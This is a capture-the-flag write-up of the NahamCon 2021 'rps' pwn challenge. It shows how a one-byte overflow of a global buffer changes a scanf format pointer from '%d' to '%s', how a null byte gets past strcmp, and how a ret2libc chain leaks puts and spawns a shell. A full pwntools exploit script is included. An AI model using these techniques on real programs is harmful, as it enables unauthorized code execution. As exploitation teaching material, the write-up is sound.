Rock Paper Scissors (rps)

by cosideci / ARESx

Tags: pwn

Rating:

Rock paper scissors

The program itself is straightforward. The user gets asked if they want to play rock, paper, scissors. The user can answer with y or n. If the user chooses to play, the program presents the user with 3 options: rock, paper or scissors. They can be selected through putting a number in for which option they'd like to choose. Next, the program will tell the user whether they lost or won, presumably based on a randomized guess from the computer and a simple logic check. Regardless, the user will be presented with the option to play again. This time, the user can fill in more than a character, namely "yes" or "no". If the user puts in "yes", the game starts again. If the user puts in anything else, the program exits.

 The game

Preliminary analysis

I started by running checksec on the binary. RELRO and NX were enabled, but stack canaries and PIE were not. This lead me to think that the vulnerability was a stack overflow one. The binary also came with a libc file, so the stack overflow would probably have to be chained with a libc memory address leak, forming a ret2libc exploit.

The vulnerability

Opening the binary in Ghidra, we can see that the function containing the game loop gets the selected option from the user through a call to scanf(), meaning that at this time, this call is not vulnerable to any buffer overflows, since the format string only accepts integers. Unfortunately, this is the only function call that stores its input on the stack. Later on, the game asks whether the user wants to play again or not. This is done through a call to read(), which takes 0x19 bytes and stores it in a global variable in the .data section, meaning that it can not cause a stack buffer overflow. We will call the variable playAgainAnswer. The read() call's destination might have other things it can override that might be interesting to the attacker, though.

 GameLoop decompilation

The playAgainAnswer variable is located right before the pointer that points to the format string used in the scanf() call that gets the user's choice. The attacker can put in 0x19 bytes, which is just enough to overflow the least significant byte of the format string pointer. If there is a format string in memory that takes strings instead of integers, the pointer can be overwritten to use that instead. Right before the "%d" format string, there is in fact a "%s" string.

 Format strings in memory

One issue with this vulnerability is that the game loop needs to be run again after corrupting the format string pointer, but the playAgainAnswer needs to be "yes\n" in order for that to happen, which is not the case if we feed it the overflow payload. The function that is used to compare the strings is strcmp(), which stops comparing when the null byte is hit on both strings. One trick to bypass this is through null-byte poisoning. This means that the payload starts with "yes\n", followed by a null byte, which is followed by the payload.

Crafting the exploit

After sending the payload, the user will again be presented with the prompt to select an option, only this time it can send whatever data it wants. The attacker can now overflow the buffer on the stack and gain control of the instruction pointer. Since there is no code that can be used to get a shell in the binary itself, I needed to craft a ret2libc exploit.

The first step is leaking the base address of libc. I started by building a payload that executes the puts() function, with the GOT address of puts as its argument, followed by a call to main(), which will effectively start the program from the beginning, allowing us to perform a second buffer overflow that gets us the shell. The libc file provided by the challenge can be used to get the proper offsets of the symbols to calculate the base address and the addresses of "/bin/sh" and system(). This worked locally, but not remotely for some reason. This was because the stack was not 16-bytes alligned. This was solved with a simple call to ret before executing the shell payload.

```
from pwn import *

elf = context.binary = ELF("rps")
libc = ELF("./libc-2.31.so")

gs = '''
break *0x401452
continue
'''

def start():
    if args.GDB:
        return gdb.debug(elf.path, gdbscript=gs)
    else:
        return process(elf.path)

def set_scanf_d_to_s(p):
    payload = b"yes\n\x00" + b"A"*0x13 + b"\x08"
    time.sleep(0.2)
    p.sendline(b"y")
    time.sleep(0.2)
    p.sendline(b"1")
    time.sleep(0.2)
    p.sendline(payload)


# rop gadgets
poprdi = p64(0x401513)
putsgot = p64(0x403f98)
putsplt = p64(0x401100)
ret = p64(0x40101a)

main_addr = p64(0x401453)

leak_base_payload = b"A"*0x14 + poprdi + putsgot + putsplt + main_addr

p = start()

set_scanf_d_to_s(p)

time.sleep(0.2)
p.sendline(leak_base_payload)

time.sleep(0.2)
p.recvuntil(b"Would you like to play again? [yes/no]: ")
p.sendline(b"no")

# get leaked puts address from output
leak = p.recvuntil(b"How")
leak_offset = leak.find(b"]:") + 3
address = leak[leak_offset:-4]
puts_address = int.from_bytes(address, byteorder='little')

libc.address = puts_address - libc.symbols["puts"]
binsh = next(libc.search(b"/bin/sh"))
```

```
system = libc.sym["system"]

shell_payload = b"A"*0x14 + ret + poprdi + p64(binsh) + p64(system)

set_scanf_d_to_s(p)

time.sleep(0.2)
p.sendline(shell_payload)

time.sleep(0.2)
p.recvuntil(b"Would you like to play again? [yes/no]: ")
p.sendline(b"no")

p.interactive()
```

Original writeup (https://robbebryssinck.github.io/NahamCon-2021-Rock-Paper-Scissors/).

Comments